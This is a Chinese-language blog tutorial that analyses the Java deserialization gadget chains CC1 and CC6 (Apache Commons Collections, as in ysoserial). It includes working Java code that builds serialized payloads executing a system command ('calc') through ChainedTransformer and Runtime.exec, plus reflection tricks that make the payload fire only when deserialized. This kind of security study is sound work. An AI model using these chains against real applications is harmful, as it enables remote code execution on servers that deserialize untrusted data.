apsry

去留无意,宠辱不惊

0%

Java反序列化-(CC1&CC6)

Java反序列化-(CC1&CC6)LazyMap

CC1

环境搭建:

JDK版本:1.7 (8u71之后已修复不可利用)

单独下载jre的网址

https://cdn.azul.com/zulu/bin/

见上篇文章

镇楼图:

CC

ysoserial 里的链子

image-20220328214133139

分析复现

ChainedTransformer.transformer

直接接前面的,找transformer

image-20220328211433357

image-20220328211501084

我们第一条链子用的是TransformedMap

image-20220328211545053

LazyMap.get

CC6用的是LazyMap的get方法

我们跟到Lazymap的get方法

可以看到调了factory.transform

image-20220328212235617

我们看factory

image-20220328212326561

factory.transform

是一个Transformer,也就是过if语句,然后factory是一个Transformer,if语句里面就是map.containsKey没有key即可过if

image-20220328212349320

AnnotationInvocationHandler.invoke

这个时候我们找谁调用了get方法,我们直接找到

AnnotationInvocationHandler

image-20220328212957532

image-20220328212943829

我们找能控制利用get方法的

invoke的调用是只要外面有方法调用就会调用invoke

image-20220328213252045

动态代理的处理器类AnnotationInvocationHandler,利用动态代理调用方法就会走到invoke,然后再传,最好就是这样

image-20220328214404886

看get前面的if语句

不能调有参方法,不能调equals

image-20220328214522301

所有要调memberValues的无参方法,我们找到了这里

image-20220328214754160

然后我们开始写链子

image-20220328215515732

根据需要传参

image-20220328215537175

1
2
3
4
5
6
7
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object ,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstrutor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstrutor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstrutor.newInstance(Override.class,lazyMap);

然后下一步就是动态代理,调用invoke

这个时候我们的注解就可以不是特定的注解了

image-20220328215846034

因为我们不用走进if语句,只需要不抛出异常即可

image-20220328220227589

再写动态代理调用

1
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

因为接受的是一个Map,所有代理Map

image-20220328220909341

最后到了最外层annotationInvocationHandler

1
Object o =  annotationInvocationHandlerConstrutor.newInstance(Override.class,mapProxy);

可以看到执行命令了

image-20220328223136675

注意版本问题

image-20220328223207344

8u71以后对类进行了处理

高版本对Values进行了一个处理

image-20220328224046434

CC0也是对checkValue去掉做了一个put处理

image-20220328224344922

CC6

环境搭建

不限制jdk版本,和CC版本

镇楼图:

CC

ysoserial 里的链子

image-20220328224723762

image-20220328234022243

分析复现

TiedMapEntry.hashCode

最后执行代码部分还是和CC1一样,区别就是在get同方法这里,CC6找的是TiedMapEntry.hashCode

我们可以分析下

image-20220328225145248

直接到hashCode里面有getValue

image-20220328225212640

可以看到有get方法

image-20220328225236178

前面都是一样的

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object ,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

我们看TiedMapEntry的构造函数,一个map和一个key

image-20220328225400696

也即构造一个

1
TiedMapEntry tiedMapEntry= new TiedMapEntry(lazyMap,"aaa");

hashmap.readObject

然后我们是想到hashmapreadObject这里来,也即

image-20220328230950862

image-20220328231055330

最终是到了一个同名函数hashCode

image-20220328231120508

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object ,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry= new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
serialize(map2);

image-20220328231641296

发现序列化也会执行,原理和urldns类似,需要反射修改,也即put的时候不能触发hash

我们改下代码,让他开始调用一个无用的new ConstantTransformer(1),不去触发,然后反序列化的时候再去修改为chainedTransformer触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object ,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry= new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
Class c = LazyMap.class;
Field factoryField =c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
serialize(map2);

image-20220328232312542

然后下一点也和urldns类似

我们可以调试下,打个断点

image-20220328232751780

我们一路跟进去

image-20220328232821970

这边调hashCode

image-20220328233511041

然后到getValue,注意key的值

image-20220328233555627

image-20220328233708125

我们这边可以看到他会把key放进去,导致我们自己的key没了,所有我们需要把他给的key删了

image-20220328233744765

所有我们添加代码

1
lazyMap.remove("aaa");

这个时候我们命令执行就成功了

image-20220328233921085